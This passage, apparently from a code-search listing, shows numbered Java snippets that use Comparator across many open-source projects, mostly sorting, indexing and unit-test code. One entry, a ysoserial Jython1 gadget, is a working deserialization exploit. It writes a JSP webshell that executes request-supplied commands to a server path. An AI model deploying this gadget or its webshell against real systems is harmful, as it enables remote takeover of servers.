    DoubleSumAggregator agg = new DoubleSumAggregator("billy", selector);
    Assert.assertEquals("billy", agg.getName());
    Object first = agg.get();
    agg.aggregate();
    Comparator comp = new DoubleSumAggregatorFactory("null", "null").getComparator();
    Assert.assertEquals(-1, comp.compare(first, agg.get()));
    Assert.assertEquals(0, comp.compare(first, first));
    Assert.assertEquals(0, comp.compare(agg.get(), agg.get()));
    Assert.assertEquals(1, comp.compare(agg.get(), first));
}

44. CountAggregatorTest#testComparator()

Project: druid
Source File: CountAggregatorTest.java
View license
@Test
public void testComparator() {
    CountAggregator agg = new CountAggregator("billy");
    Object first = agg.get();
    agg.aggregate();
    Comparator comp = new CountAggregatorFactory("null").getComparator();
    Assert.assertEquals(-1, comp.compare(first, agg.get()));
    Assert.assertEquals(0, comp.compare(first, first));
    Assert.assertEquals(0, comp.compare(agg.get(), agg.get()));
    Assert.assertEquals(1, comp.compare(agg.get(), first));
}

45. NumericTopNMetricSpec#getComparator()

Project: druid
Source File: NumericTopNMetricSpec.java
View license
@Override
public Comparator getComparator(List<AggregatorFactory> aggregatorSpecs, List<PostAggregator> postAggregatorSpecs) {
    Comparator comp = null;
    for (AggregatorFactory factory : aggregatorSpecs) {
        if (metric.equals(factory.getName())) {
            comp = factory.getComparator();
            break;
        }
    }
    for (PostAggregator pf : postAggregatorSpecs) {
        if (metric.equals(pf.getName())) {
            comp = pf.getComparator();
            break;
        }
    }
    return comp;
}

46. BaseTopNAlgorithm#makeResultBuilder()

Project: druid
Source File: BaseTopNAlgorithm.java
View license
public static TopNResultBuilder makeResultBuilder(TopNParams params, TopNQuery query) {
    final Comparator comparator = query.getTopNMetricSpec().getComparator(query.getAggregatorSpecs(), query.getPostAggregatorSpecs());
    return query.getTopNMetricSpec().getResultBuilder(params.getCursor().getTime(), query.getDimensionSpec(), query.getThreshold(), comparator, query.getAggregatorSpecs(), query.getPostAggregatorSpecs());
}

47. MavibotPartitionBuilder#buildIndex()

View license
private void buildIndex(Index<?, String> idx, String ignoreVal) throws Exception {
    BTree masterTree = rm.getManagedTree(masterTableName);
    AttributeType type = idx.getAttribute();
    boolean isBinary = type.getSyntax().isHumanReadable();
    boolean singleValued = type.isSingleValued();
    BTree fwdTree = rm.getManagedTree(type.getOid() + MavibotIndex.FORWARD_BTREE);
    boolean fwdDupsAllowed = fwdTree.isAllowDuplicates();
    Comparator fwdKeyComparator = fwdTree.getKeySerializer().getComparator();
    Set<Tuple> fwdSet = new TreeSet<Tuple>(new IndexTupleComparator(fwdKeyComparator));
    Map fwdMap = new TreeMap(fwdKeyComparator);
    BTree revTree = null;
    boolean revDupsAllowed;
    Set<Tuple> revSet = null;
    Map<String, Tuple> revMap = null;
    Comparator revValComparator = null;
    if (idx.hasReverse()) {
        revTree = rm.getManagedTree(type.getOid() + MavibotIndex.REVERSE_BTREE);
        revDupsAllowed = revTree.isAllowDuplicates();
        Comparator revKeyComparator = revTree.getKeySerializer().getComparator();
        revValComparator = revTree.getValueSerializer().getComparator();
        revSet = new TreeSet<Tuple>(new IndexTupleComparator(revKeyComparator));
        revMap = new TreeMap(revKeyComparator);
    }
    TupleCursor<String, Entry> cursor = masterTree.browse();
    while (cursor.hasNext()) {
        Tuple<String, Entry> t = cursor.next();
        Entry e = t.getValue();
        Attribute at = e.get(type);
        if (at == null) {
            continue;
        }
        if (singleValued) {
            Value v = at.get();
            Object normVal = v.getNormValue();
            if (ignoreVal != null) {
                if (normVal.equals(ignoreVal)) {
                    continue;
                }
            }
            Tuple fwdTuple = new Tuple(normVal, t.getKey());
            fwdSet.add(fwdTuple);
            if (revTree != null) {
                Tuple revTuple = new Tuple(t.getKey(), v.getNormValue());
                revSet.add(revTuple);
            }
        } else {
            for (Value v : at) {
                Object val = v.getNormValue();
                if (ignoreVal != null) {
                    if (val.equals(ignoreVal)) {
                        continue;
                    }
                }
                Tuple fwdTuple = (Tuple) fwdMap.get(val);
                if (fwdTuple == null) {
                    Set<String> idSet = new TreeSet<String>();
                    idSet.add(t.getKey());
                    fwdTuple = new Tuple(val, idSet);
                    fwdMap.put(val, fwdTuple);
                } else {
                    Set<String> idSet = (Set<String>) fwdTuple.getValue();
                    idSet.add(t.getKey());
                }
                if (revTree != null) {
                    Tuple revTuple = revMap.get(t.getKey());
                    if (revTuple == null) {
                        Set valSet = new TreeSet(revValComparator);
                        valSet.add(val);
                        revTuple = new Tuple(t.getKey(), valSet);
                    } else {
                        Set valSet = (Set) revTuple.getValue();
                        valSet.add(val);
                    }
                }
            }
        }
    }
    cursor.close();
    if (singleValued) {
        if (fwdSet.isEmpty()) {
            return;
        }
        build(fwdSet.iterator(), fwdTree.getName());
        if (revTree != null) {
            build(revSet.iterator(), revTree.getName());
        }
    } else {
        if (fwdMap.isEmpty()) {
            return;
        }
        build(fwdMap.values().iterator(), fwdTree.getName());
        if (revTree != null) {
            build(revMap.values().iterator(), revTree.getName());
        }
    }
}

48. BeanComparator#internalCompare()

View license
/**
     * Compares the given values using the internal {@code Comparator}.
     * <em>Note</em>: This comparison cannot be performed in a type-safe way; so
     * {@code ClassCastException} exceptions may be thrown.
     *
     * @param val1 the first value to be compared
     * @param val2 the second value to be compared
     * @return the result of the comparison
     */
private int internalCompare(final Object val1, final Object val2) {
    @SuppressWarnings("rawtypes") final // to make the compiler happy
    Comparator c = comparator;
    return c.compare(val1, val2);
}

49. MessageForumStatisticsBean#sortStatisticsByUser3()

View license
private List sortStatisticsByUser3(List statistics) {
    Comparator comparator = determineComparatorByUser3();
    Collections.sort(statistics, comparator);
    return statistics;
}

50. MessageFragment#publishItems()

Project: SMSSync
Source File: MessageFragment.java
View license
private void publishItems() {
    //Sort in ascending order for restoring deleted items
    Comparator cmp = Collections.reverseOrder();
    Collections.sort(mPendingMessages, cmp);
    removeItems();
    Snackbar snackbar = Snackbar.make(mFab, getActivity().getString(R.string.item_deleted, mPendingMessages.size()), Snackbar.LENGTH_LONG);
    snackbar.setAction(R.string.undo,  e -> {
        for (PendingMessage pendingDeletedDeployment : mPendingMessages) {
            mMessageAdapter.addItem(pendingDeletedDeployment.messageModel, pendingDeletedDeployment.getPosition());
        }
        clearItems();
    });
    View view = snackbar.getView();
    TextView tv = (TextView) view.findViewById(android.support.design.R.id.snackbar_text);
    tv.setTextColor(getAppContext().getResources().getColor(R.color.red));
    snackbar.setCallback(new Snackbar.Callback() {

        @Override
        public void onDismissed(Snackbar snackbar, int event) {
            super.onDismissed(snackbar, event);
            if (event != Snackbar.Callback.DISMISS_EVENT_ACTION) {
                if (mPendingMessages.size() > 0) {
                    List<MessageModel> messageModels = new ArrayList<MessageModel>();
                    for (PendingMessage pendingDeletedDeployment : mPendingMessages) {
                        messageModels.add(pendingDeletedDeployment.messageModel);
                    }
                    mPublishMessagesPresenter.publishMessage(messageModels);
                    clearItems();
                }
            }
        }
    });
    snackbar.show();
}

51. MessageFragment#deleteItems()

Project: SMSSync
Source File: MessageFragment.java
View license
private void deleteItems() {
    //Sort in ascending order for restoring deleted items
    Comparator cmp = Collections.reverseOrder();
    Collections.sort(mPendingMessages, cmp);
    removeItems();
    Snackbar snackbar = Snackbar.make(mFab, getActivity().getString(R.string.item_deleted, mPendingMessages.size()), Snackbar.LENGTH_LONG);
    snackbar.setAction(R.string.undo,  e -> {
        for (PendingMessage pendingDeletedDeployment : mPendingMessages) {
            mMessageAdapter.addItem(pendingDeletedDeployment.messageModel, pendingDeletedDeployment.getPosition());
        }
        clearItems();
    });
    View view = snackbar.getView();
    TextView tv = (TextView) view.findViewById(android.support.design.R.id.snackbar_text);
    tv.setTextColor(getAppContext().getResources().getColor(R.color.red));
    snackbar.setCallback(new Snackbar.Callback() {

        @Override
        public void onDismissed(Snackbar snackbar, int event) {
            super.onDismissed(snackbar, event);
            if (event != Snackbar.Callback.DISMISS_EVENT_ACTION) {
                if (mPendingMessages.size() > 0) {
                    for (PendingMessage pendingDeletedDeployment : mPendingMessages) {
                        mDeleteMessagePresenter.deleteMessage(pendingDeletedDeployment.messageModel.getMessageUuid());
                    }
                    clearItems();
                }
            }
        }
    });
    snackbar.show();
}

52. MessageForumStatisticsBean#sortStatisticsByAllTopics()

View license
private List sortStatisticsByAllTopics(List statistics) {
    Comparator comparator = determineComparatorByAllTopics();
    Collections.sort(statistics, comparator);
    return statistics;
}

53. GradebookManagerHibernateImpl#sortAssignments()

View license
/**
     * TODO Remove this method in favor of doing database sorting.
     *
     * @param assignments
     * @param sortBy
     * @param ascending
     */
private void sortAssignments(List assignments, String sortBy, boolean ascending) {
    // WARNING: AZ - this method is duplicated in GradebookManagerHibernateImpl
    Comparator comp;
    if (Assignment.SORT_BY_NAME.equals(sortBy)) {
        comp = GradableObject.nameComparator;
    } else if (Assignment.SORT_BY_DATE.equals(sortBy)) {
        comp = GradableObject.dateComparator;
    } else if (Assignment.SORT_BY_MEAN.equals(sortBy)) {
        comp = GradableObject.meanComparator;
    } else if (Assignment.SORT_BY_POINTS.equals(sortBy)) {
        comp = Assignment.pointsComparator;
    } else if (Assignment.SORT_BY_RELEASED.equals(sortBy)) {
        comp = Assignment.releasedComparator;
    } else if (Assignment.SORT_BY_COUNTED.equals(sortBy)) {
        comp = Assignment.countedComparator;
    } else if (Assignment.SORT_BY_EDITOR.equals(sortBy)) {
        comp = Assignment.gradeEditorComparator;
    } else if (Assignment.SORT_BY_SORTING.equals(sortBy)) {
        comp = GradableObject.sortingComparator;
    } else {
        comp = GradableObject.defaultComparator;
    }
    Collections.sort(assignments, comp);
    if (!ascending) {
        Collections.reverse(assignments);
    }
    if (log.isDebugEnabled()) {
        log.debug("sortAssignments: ordering by " + sortBy + " (" + comp + "), ascending=" + ascending);
    }
}

54. MessageForumStatisticsBean#sortStatisticsByUser2()

View license
private List sortStatisticsByUser2(List statistics) {
    Comparator comparator = determineComparatorByUser2();
    Collections.sort(statistics, comparator);
    return statistics;
}

55. MessageForumStatisticsBean#sortStatisticsByUser()

View license
private List sortStatisticsByUser(List statistics) {
    Comparator comparator = determineComparatorByUser();
    Collections.sort(statistics, comparator);
    return statistics;
}

56. MessageForumStatisticsBean#sortStatistics()

View license
/**
	 * Sorting Utils
	 */
private List sortStatistics(List statistics) {
    Comparator comparator = determineComparator();
    Collections.sort(statistics, comparator);
    return statistics;
}

57. LeafEvaluator#evalEquality()

Project: directory-server
Source File: LeafEvaluator.java
View license
/**
     * Evaluates a simple equality attribute value assertion on a perspective
     * candidate.
     *
     * @param node the equality node to evaluate
     * @param entry the perspective candidate
     * @return the ava evaluation on the perspective candidate
     * @throws org.apache.directory.api.ldap.model.exception.LdapException if there is a database access failure
     */
@SuppressWarnings("unchecked")
private boolean evalEquality(EqualityNode<?> node, Entry entry) throws LdapException {
    Normalizer normalizer = getNormalizer(node.getAttributeType());
    Comparator comparator = getComparator(node.getAttributeType());
    // get the attribute associated with the node
    Attribute attr = entry.get(node.getAttribute());
    // If we do not have the attribute just return false
    if (null == attr) {
        return false;
    }
    // check if Ava value exists in attribute
    AttributeType attributeType = node.getAttributeType();
    Value<?> value = null;
    if (attributeType.getSyntax().isHumanReadable()) {
        if (node.getValue().isHumanReadable()) {
            value = node.getValue();
        } else {
            value = new org.apache.directory.api.ldap.model.entry.StringValue(node.getValue().getString());
        }
    } else {
        value = node.getValue();
    }
    if (attr.contains(value)) {
        return true;
    }
    // get the normalized Ava filter value
    Value<?> filterValue = normalizer.normalize(value);
    // check if the normalized value is present
    if (attr.contains(filterValue)) {
        return true;
    }
    /*
         * We need to now iterate through all values because we could not get
         * a lookup to work.  For each value we normalize and use the comparator
         * to determine if a match exists.
         */
    for (Value<?> val : attr) {
        Value<?> normValue = normalizer.normalize(val);
        if (0 == comparator.compare(normValue.getValue(), filterValue.getValue())) {
            return true;
        }
    }
    // no match so return false
    return false;
}

58. AvlTreeMarshallerTest#createComparator()

View license
@BeforeClass
public static void createComparator() {
    comparator = new Comparator<Integer>() {

        public int compare(Integer i1, Integer i2) {
            return i1.compareTo(i2);
        }
    };
}

59. PublishedMessageFragment#deleteItems()

View license
private void deleteItems() {
    //Sort in ascending order so deleted items can be easily restored
    Comparator cmp = Collections.reverseOrder();
    Collections.sort(mPendingDeletedMessages, cmp);
    removeItems();
    Snackbar snackbar = Snackbar.make(getView(), getActivity().getString(R.string.item_deleted, mPendingDeletedMessages.size()), Snackbar.LENGTH_LONG);
    snackbar.setAction(R.string.undo,  e -> {
        mIsPermanentlyDeleted = false;
        for (PendingDeletedMessage pendingDeletedDeployment : mPendingDeletedMessages) {
            mMessageAdapter.addItem(pendingDeletedDeployment.messageModel, pendingDeletedDeployment.getPosition());
        }
        clearItems();
    });
    View view = snackbar.getView();
    TextView tv = (TextView) view.findViewById(android.support.design.R.id.snackbar_text);
    tv.setTextColor(getAppContext().getResources().getColor(R.color.red));
    snackbar.setCallback(new Snackbar.Callback() {

        @Override
        public void onDismissed(Snackbar snackbar, int event) {
            super.onDismissed(snackbar, event);
            if (event != Snackbar.Callback.DISMISS_EVENT_ACTION) {
                if (mPendingDeletedMessages.size() > 0) {
                    for (PendingDeletedMessage pendingDeletedDeployment : mPendingDeletedMessages) {
                        mDeleteMessagePresenter.deleteMessage(pendingDeletedDeployment.messageModel.getMessageUuid());
                    }
                    clearItems();
                }
            }
        }
    });
    snackbar.show();
}

60. LeafEvaluator#evalGreaterOrLesser()

Project: directory-server
Source File: LeafEvaluator.java
View license
/**
     * Evaluates a simple greater than or less than attribute value assertion on
     * a perspective candidate.
     * 
     * @param node the greater than or less than node to evaluate
     * @param entry the perspective candidate
     * @param isGreater true if it is a greater than or equal to comparison,
     *      false if it is a less than or equal to comparison.
     * @return the ava evaluation on the perspective candidate
     * @throws LdapException if there is a database access failure
     */
@SuppressWarnings("unchecked")
private boolean evalGreaterOrLesser(SimpleNode<?> node, Entry entry, boolean isGreaterOrLesser) throws LdapException {
    AttributeType attributeType = node.getAttributeType();
    // get the attribute associated with the node
    Attribute attr = entry.get(node.getAttribute());
    // If we do not have the attribute just return false
    if (null == attr) {
        return false;
    }
    /*
         * We need to iterate through all values and for each value we normalize
         * and use the comparator to determine if a match exists.
         */
    Normalizer normalizer = getNormalizer(attributeType);
    Comparator comparator = getComparator(attributeType);
    Object filterValue = normalizer.normalize(node.getValue());
    /*
         * Cheaper to not check isGreater in one loop - better to separate
         * out into two loops which you choose to execute based on isGreater
         */
    if (isGreaterOrLesser == COMPARE_GREATER) {
        for (Value<?> value : attr) {
            Object normValue = normalizer.normalize(value);
            // Found a value that is greater than or equal to the ava value
            if (comparator.compare(normValue, filterValue) >= 0) {
                return true;
            }
        }
    } else {
        for (Value<?> value : attr) {
            Object normValue = normalizer.normalize(value);
            // Found a value that is less than or equal to the ava value
            if (comparator.compare(normValue, filterValue) <= 0) {
                return true;
            }
        }
    }
    // no match so return false
    return false;
}

61. SimpleTableModel#sortRows()

Project: tapestry3
Source File: SimpleTableModel.java
View license
protected void sortRows() {
    updateRows();
    ITableSortingState objSortingState = getSortingState();
    // see if there is sorting required
    String strSortColumn = objSortingState.getSortColumn();
    if (strSortColumn == null)
        return;
    boolean bSortOrder = objSortingState.getSortOrder();
    // See if the table is already sorted this way. If so, return.
    if (strSortColumn.equals(m_objLastSortingState.getSortColumn()) && m_objLastSortingState.getSortOrder() == bSortOrder)
        return;
    ITableColumn objColumn = getColumnModel().getColumn(strSortColumn);
    if (objColumn == null || !objColumn.getSortable())
        return;
    Comparator objCmp = objColumn.getComparator();
    if (objCmp == null)
        return;
    // Okay, we have everything in place. Sort the rows.
    if (bSortOrder == ITableSortingState.SORT_DESCENDING)
        objCmp = new ReverseComparator(objCmp);
    Arrays.sort(m_arrRows, objCmp);
    m_objLastSortingState.setSortColumn(strSortColumn, bSortOrder);
}

62. SimpleTableModel#sortRows()

Project: tapestry4
Source File: SimpleTableModel.java
View license
protected void sortRows() {
    updateRows();
    ITableSortingState objSortingState = getSortingState();
    // see if there is sorting required
    String strSortColumn = objSortingState.getSortColumn();
    if (strSortColumn == null)
        return;
    boolean bSortOrder = objSortingState.getSortOrder();
    // See if the table is already sorted this way. If so, return.
    if (strSortColumn.equals(m_objLastSortingState.getSortColumn()) && m_objLastSortingState.getSortOrder() == bSortOrder)
        return;
    ITableColumn objColumn = getColumnModel().getColumn(strSortColumn);
    if (objColumn == null || !objColumn.getSortable())
        return;
    Comparator objCmp = objColumn.getComparator();
    if (objCmp == null)
        return;
    // Okay, we have everything in place. Sort the rows.
    if (bSortOrder == ITableSortingState.SORT_DESCENDING)
        objCmp = new ReverseComparator(objCmp);
    Arrays.sort(m_arrRows, objCmp);
    m_objLastSortingState.setSortColumn(strSortColumn, bSortOrder);
}

63. MavibotPartitionBuilder#buildPresenceIndex()

View license
private void buildPresenceIndex(Iterator<String> itr) throws Exception {
    Set<String> idxOids = new HashSet<String>();
    while (itr.hasNext()) {
        idxOids.add(itr.next());
    }
    BTree masterTree = rm.getManagedTree(masterTableName);
    BTree fwdTree = rm.getManagedTree(ApacheSchemaConstants.APACHE_PRESENCE_AT_OID + MavibotIndex.FORWARD_BTREE);
    boolean fwdDupsAllowed = fwdTree.isAllowDuplicates();
    Comparator fwdKeyComparator = fwdTree.getKeySerializer().getComparator();
    final Map<String, Set> fwdMap = new TreeMap<String, Set>();
    TupleCursor<String, Entry> cursor = masterTree.browse();
    while (cursor.hasNext()) {
        Tuple<String, Entry> t = cursor.next();
        Entry e = t.getValue();
        for (String oid : idxOids) {
            Attribute at = e.get(oid);
            if (at == null) {
                continue;
            }
            Set<String> idSet = fwdMap.get(oid);
            if (idSet == null) {
                idSet = new TreeSet<String>();
                idSet.add(t.getKey());
                fwdMap.put(oid, idSet);
            }
        }
    }
    cursor.close();
    Iterator<Tuple> tupleItr = new Iterator<Tuple>() {

        Iterator<java.util.Map.Entry<String, Set>> itr = fwdMap.entrySet().iterator();

        @Override
        public Tuple next() {
            java.util.Map.Entry<String, Set> e = itr.next();
            Tuple t = new Tuple();
            t.setKey(e.getKey());
            t.setValue(e.getValue());
            return t;
        }

        @Override
        public boolean hasNext() {
            return itr.hasNext();
        }

        @Override
        public void remove() {
        }
    };
    build(tupleItr, fwdTree.getName());
}

64. PropertySheetTableModel#setPropertySortingComparator()

View license
/**
   * Set the comparator used for sorting properties.  If this
   * changes the comparator, the model will be rebuilt.
   */
public void setPropertySortingComparator(Comparator comp) {
    Comparator old = propertySortingComparator;
    propertySortingComparator = comp;
    if (propertySortingComparator != old)
        buildModel();
}

65. StructuredTextFoldingProviderTwig#computeCurrentStructure()

View license
@SuppressWarnings({ "unchecked", "rawtypes" })
private Map<IModelElement, Object> computeCurrentStructure(FoldingStructureComputationContext ctx) {
    Map<IModelElement, Object> map = new HashMap<IModelElement, Object>();
    ProjectionAnnotationModel model = ctx.getModel();
    Iterator e = model.getAnnotationIterator();
    while (e.hasNext()) {
        Object annotation = e.next();
        if (annotation instanceof TwigProjectionAnnotation) {
            TwigProjectionAnnotation java = (TwigProjectionAnnotation) annotation;
            Position position = model.getPosition(java);
            Assert.isNotNull(position);
            List<Tuple> list = (List<Tuple>) map.get(java.getElement());
            if (list == null) {
                list = new ArrayList<Tuple>(2);
                map.put(java.getElement(), list);
            }
            list.add(new Tuple(java, position));
        }
    }
    Comparator comparator = new Comparator() {

        public int compare(Object o1, Object o2) {
            return ((Tuple) o1).position.getOffset() - ((Tuple) o2).position.getOffset();
        }
    };
    for (Iterator<Object> it = map.values().iterator(); it.hasNext(); ) {
        List list = (List) it.next();
        Collections.sort(list, comparator);
    }
    return map;
}

66. PropertySheetTableModel#setCategorySortingComparator()

View license
/**
   * Set the comparator used for sorting categories.  If this
   * changes the comparator, the model will be rebuilt.
   */
public void setCategorySortingComparator(Comparator comp) {
    Comparator old = categorySortingComparator;
    categorySortingComparator = comp;
    if (categorySortingComparator != old)
        buildModel();
}

67. SofaMapSection#removeComponentFromAggr()

Project: uima-uimaj
Source File: SofaMapSection.java
View license
/**
   * Removes a delegate map from a particular aggr sofa mapping.
   * 
   * @param selected
   */
private void removeComponentFromAggr(TreeItem selected) {
    final String aggrName = selected.getParentItem().getText();
    Comparator comparator = new Comparator() {

        public int compare(Object componentAndSofa, Object o2) {
            SofaMapping sofaMapping = (SofaMapping) o2;
            if (!sofaMapping.getAggregateSofaName().equals(aggrName))
                return -1;
            String component = getComponentOnly((String) componentAndSofa);
            if (!sofaMapping.getComponentKey().equals(component))
                return -1;
            String sofa = getSofaOnly((String) componentAndSofa);
            if (null == sofa || sofa.equals(""))
                if (null == sofaMapping.getComponentSofaName() || "".equals(sofaMapping.getComponentSofaName()))
                    return 0;
                else
                    return -1;
            else if (sofa.equals(sofaMapping.getComponentSofaName()))
                return 0;
            else
                return -1;
        }
    };
    editor.getAeDescription().setSofaMappings((SofaMapping[]) Utility.removeElementsFromArray(getSofaMappings(), selected.getText(), SofaMapping.class, comparator));
    selected.dispose();
    setFileDirty();
}

68. TextEditChangeNode#getSortedChangeGroups()

Project: che
Source File: TextEditChangeNode.java
View license
private TextEditBasedChangeGroup[] getSortedChangeGroups(TextEditBasedChange change) {
    TextEditBasedChangeGroup[] groups = change.getChangeGroups();
    List result = new ArrayList(groups.length);
    for (int i = 0; i < groups.length; i++) {
        if (!groups[i].getTextEditGroup().isEmpty())
            result.add(groups[i]);
    }
    Comparator comparator = new OffsetComparator();
    Collections.sort(result, comparator);
    return (TextEditBasedChangeGroup[]) result.toArray(new TextEditBasedChangeGroup[result.size()]);
}

69. Jython1#getObject()

Project: ysoserial
Source File: Jython1.java
View license
public PriorityQueue getObject(String path) throws Exception {
    // Set payload parameters
    String webshell = "<%@ page import=\"java.util.*,java.io.*\"%>\n" + "<html><body><form method=\"GET\" name=\"myform\" action=\"\">\n" + "<input type=\"text\" name=\"cmd\">\n" + "<input type=\"submit\" value=\"Send\">\n" + "</form>\n" + "<pre>\n" + "<%\n" + "if (request.getParameter(\"cmd\") != null) {\n" + "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<br>\");\n" + "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" + "OutputStream os = p.getOutputStream();\n" + "InputStream in = p.getInputStream();\n" + "DataInputStream dis = new DataInputStream(in);\n" + "String disr = dis.readLine();\n" + "while ( disr != null ) {\n" + "out.println(disr);\n" + "disr = dis.readLine();\n" + "}\n" + "}\n" + "%>\n" + "</pre></body></html>";
    // Python bytecode to write a file on disk
    String code = // 0 LOAD_GLOBAL              0 (open)
    "740000" + // 3 LOAD_CONST               1 (<PATH>)
    "640100" + // 6 LOAD_CONST               2 ('w')
    "640200" + // 9 CALL_FUNCTION            2
    "830200" + // 12 LOAD_ATTR               1 (write)  ??
    "690100" + // 15 LOAD_CONST              3 (<webshell>)
    "640300" + // 18 CALL_FUNCTION           1
    "830100" + // 21 POP_TOP
    "01" + // 22 LOAD_CONST
    "640000" + // 25 RETURN_VALUE
    "53";
    // Helping consts and names
    PyObject[] consts = new PyObject[] { new PyString(""), new PyString(path), new PyString("w"), new PyString(webshell) };
    String[] names = new String[] { "open", "write" };
    // Generating PyBytecode wrapper for our python bytecode
    PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[] {}, "noname", "<module>", 0, "");
    Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
    // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
    PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
    // Prepare Trigger Gadget
    Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[] { Comparator.class }, handler);
    PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
    Object[] queue = new Object[] { 1, 1 };
    Reflections.setFieldValue(priorityQueue, "queue", queue);
    Reflections.setFieldValue(priorityQueue, "size", 2);
    return priorityQueue;
}

70. ArrayComparator#comparators()

Project: calcite
Source File: ArrayComparator.java
View license
private static Comparator[] comparators(boolean[] descendings) {
    Comparator[] comparators = new Comparator[descendings.length];
    for (int i = 0; i < descendings.length; i++) {
        boolean descending = descendings[i];
        comparators[i] = descending ? Collections.reverseOrder() : Ordering.natural();
    }
    return comparators;
}

71. DependencyGraph#topologicalDagSort()

Project: Jenkins2
Source File: DependencyGraph.java
View license
/**
     *
     *
     * See http://en.wikipedia.org/wiki/Tarjan's_strongly_connected_components_algorithm
     */
private void topologicalDagSort() {
    DirectedGraph<AbstractProject> g = new DirectedGraph<AbstractProject>() {

        @Override
        protected Collection<AbstractProject> nodes() {
            final Set<AbstractProject> nodes = new HashSet<AbstractProject>();
            nodes.addAll(forward.keySet());
            nodes.addAll(backward.keySet());
            return nodes;
        }

        @Override
        protected Collection<AbstractProject> forward(AbstractProject node) {
            return getDownstream(node);
        }
    };
    List<SCC<AbstractProject>> sccs = g.getStronglyConnectedComponents();
    final Map<AbstractProject, Integer> topoOrder = new HashMap<AbstractProject, Integer>();
    topologicallySorted = new ArrayList<AbstractProject<?, ?>>();
    int idx = 0;
    for (SCC<AbstractProject> scc : sccs) {
        for (AbstractProject n : scc) {
            topoOrder.put(n, idx++);
            topologicallySorted.add(n);
        }
    }
    topologicalOrder = new Comparator<AbstractProject<?, ?>>() {

        @Override
        public int compare(AbstractProject<?, ?> o1, AbstractProject<?, ?> o2) {
            return topoOrder.get(o1) - topoOrder.get(o2);
        }
    };
    topologicallySorted = Collections.unmodifiableList(topologicallySorted);
}

72. ConstantPostAggregatorTest#testComparator()

View license
@Test
public void testComparator() {
    ConstantPostAggregator constantPostAggregator = new ConstantPostAggregator("thistestbasicallydoesnothing unhappyface", 1);
    Comparator comp = constantPostAggregator.getComparator();
    Assert.assertEquals(0, comp.compare(0, constantPostAggregator.compute(null)));
    Assert.assertEquals(0, comp.compare(0, 1));
    Assert.assertEquals(0, comp.compare(1, 0));
}

73. ArithmeticPostAggregatorTest#testNumericFirstOrdering()

View license
@Test
public void testNumericFirstOrdering() throws Exception {
    ArithmeticPostAggregator agg = new ArithmeticPostAggregator(null, "quotient", ImmutableList.<PostAggregator>of(new ConstantPostAggregator("zero", 0), new ConstantPostAggregator("zero", 0)), "numericFirst");
    final Comparator numericFirst = agg.getComparator();
    Assert.assertTrue(numericFirst.compare(Double.NaN, 0.0) < 0);
    Assert.assertTrue(numericFirst.compare(Double.POSITIVE_INFINITY, 0.0) < 0);
    Assert.assertTrue(numericFirst.compare(Double.NEGATIVE_INFINITY, 0.0) < 0);
    Assert.assertTrue(numericFirst.compare(0.0, Double.NaN) > 0);
    Assert.assertTrue(numericFirst.compare(0.0, Double.POSITIVE_INFINITY) > 0);
    Assert.assertTrue(numericFirst.compare(0.0, Double.NEGATIVE_INFINITY) > 0);
    Assert.assertTrue(numericFirst.compare(Double.NEGATIVE_INFINITY, Double.POSITIVE_INFINITY) < 0);
    Assert.assertTrue(numericFirst.compare(Double.POSITIVE_INFINITY, Double.NEGATIVE_INFINITY) > 0);
    Assert.assertTrue(numericFirst.compare(Double.NaN, Double.POSITIVE_INFINITY) > 0);
    Assert.assertTrue(numericFirst.compare(Double.NaN, Double.NEGATIVE_INFINITY) > 0);
    Assert.assertTrue(numericFirst.compare(Double.POSITIVE_INFINITY, Double.NaN) < 0);
    Assert.assertTrue(numericFirst.compare(Double.NEGATIVE_INFINITY, Double.NaN) < 0);
}

74. DependencyGraph#topologicalDagSort()

Project: hudson
Source File: DependencyGraph.java
View license
/**
     *
     *
     * See http://en.wikipedia.org/wiki/Tarjan's_strongly_connected_components_algorithm
     */
private void topologicalDagSort() {
    DirectedGraph<AbstractProject> g = new DirectedGraph<AbstractProject>() {

        @Override
        protected Collection<AbstractProject> nodes() {
            final Set<AbstractProject> nodes = new HashSet<AbstractProject>();
            nodes.addAll(forward.keySet());
            nodes.addAll(backward.keySet());
            return nodes;
        }

        @Override
        protected Collection<AbstractProject> forward(AbstractProject node) {
            return getDownstream(node);
        }
    };
    List<SCC<AbstractProject>> sccs = g.getStronglyConnectedComponents();
    final Map<AbstractProject, Integer> topoOrder = new HashMap<AbstractProject, Integer>();
    topologicallySorted = new ArrayList<AbstractProject<?, ?>>();
    int idx = 0;
    for (SCC<AbstractProject> scc : sccs) {
        for (AbstractProject n : scc) {
            topoOrder.put(n, idx++);
            topologicallySorted.add(n);
        }
    }
    topologicalOrder = new Comparator<AbstractProject<?, ?>>() {

        @Override
        public int compare(AbstractProject<?, ?> o1, AbstractProject<?, ?> o2) {
            return topoOrder.get(o1) - topoOrder.get(o2);
        }
    };
    topologicallySorted = Collections.unmodifiableList(topologicallySorted);
}

75. Utilities#getNumericStringComparator()

Project: igv
Source File: Utilities.java
View license
public static Comparator getNumericStringComparator() {
    Comparator comparator = new Comparator<String>() {

        public int compare(String s1, String s2) {
            StringTokenizer st1 = new StringTokenizer(s1, " ");
            StringTokenizer st2 = new StringTokenizer(s2, " ");
            while (st1.hasMoreTokens() && st2.hasMoreTokens()) {
                String t1 = st1.nextToken();
                String t2 = st2.nextToken();
                int c;
                try {
                    Integer i1 = new Integer(t1);
                    Integer i2 = new Integer(t2);
                    c = i1.compareTo(i2);
                } catch (NumberFormatException e) {
                    c = t1.compareTo(t2);
                }
                if (c != 0) {
                    return c;
                }
            }
            return 0;
        }
    };
    return comparator;
}

76. ArithmeticPostAggregatorTest#testComparator()

View license
@Test
public void testComparator() {
    ArithmeticPostAggregator arithmeticPostAggregator;
    CountAggregator agg = new CountAggregator("rows");
    Map<String, Object> metricValues = new HashMap<String, Object>();
    metricValues.put(agg.getName(), agg.get());
    List<PostAggregator> postAggregatorList = Lists.newArrayList(new ConstantPostAggregator("roku", 6), new FieldAccessPostAggregator("rows", "rows"));
    arithmeticPostAggregator = new ArithmeticPostAggregator("add", "+", postAggregatorList);
    Comparator comp = arithmeticPostAggregator.getComparator();
